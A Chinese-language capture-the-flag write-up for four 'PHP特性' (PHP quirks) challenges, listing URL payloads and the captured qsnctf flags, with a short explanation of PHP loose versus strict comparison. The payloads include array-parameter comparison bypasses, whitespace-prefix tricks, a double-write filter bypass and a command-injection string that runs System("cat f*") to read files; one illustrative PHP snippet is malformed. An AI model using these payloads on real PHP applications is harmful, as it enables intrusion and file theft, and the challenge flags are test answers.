PHP特性01

payload:

1
?username[]=admi&password[]=admin

image

qsnctf{ca5f80d8-085c-4a8d-b474-a74bd1a4aada}

PHP特性02

payload:

1
?value=%0c1

image

qsnctf{c6c71221-f298-41ad-9da8-ca53b4a8b144}

1
2
3
4
5
//在php中:
<?php
num = %0c36;
var_dump($num!=='36' and $num=='36');// ---> True
?>

对于比较运算符号:如果两个操作数都是 数字字符串,或者一个操作数是数字而另一个是 数字字符串,则比较以数字方式进行。当比较是===或!==因为这涉及比较类型和值时,不会发生类型转换 ,因此此时类型和数值都要比对

所以:**==比较的是类型转换之后的数值 而 !==不仅要比较数值还要比较类型**

payload构造的时候只要在1前面写一个空的字符就行

1
2
3
4
?value=%0c1
?value= 1
?value=%201
?value=+01

PHP特性03

双写绕过

payload:

1
?value=庆历四年春,滕滕子京子京谪守巴巴陵郡陵郡。越明年,政通人和,百废俱兴,乃重修岳岳阳楼阳楼,增其旧制,刻唐贤今人诗赋于其上,属予作文以记之。

image

qsnctf(de64416c-6ff2-4f24-b9c8-7e32f84dda30)

PHP特性04

payload:

1
?command=System("cat f*");&key=cXNuY3Rm

image

qsnctf{803a0ef5-86e7-4d94-8f1d-3cb8332ee793}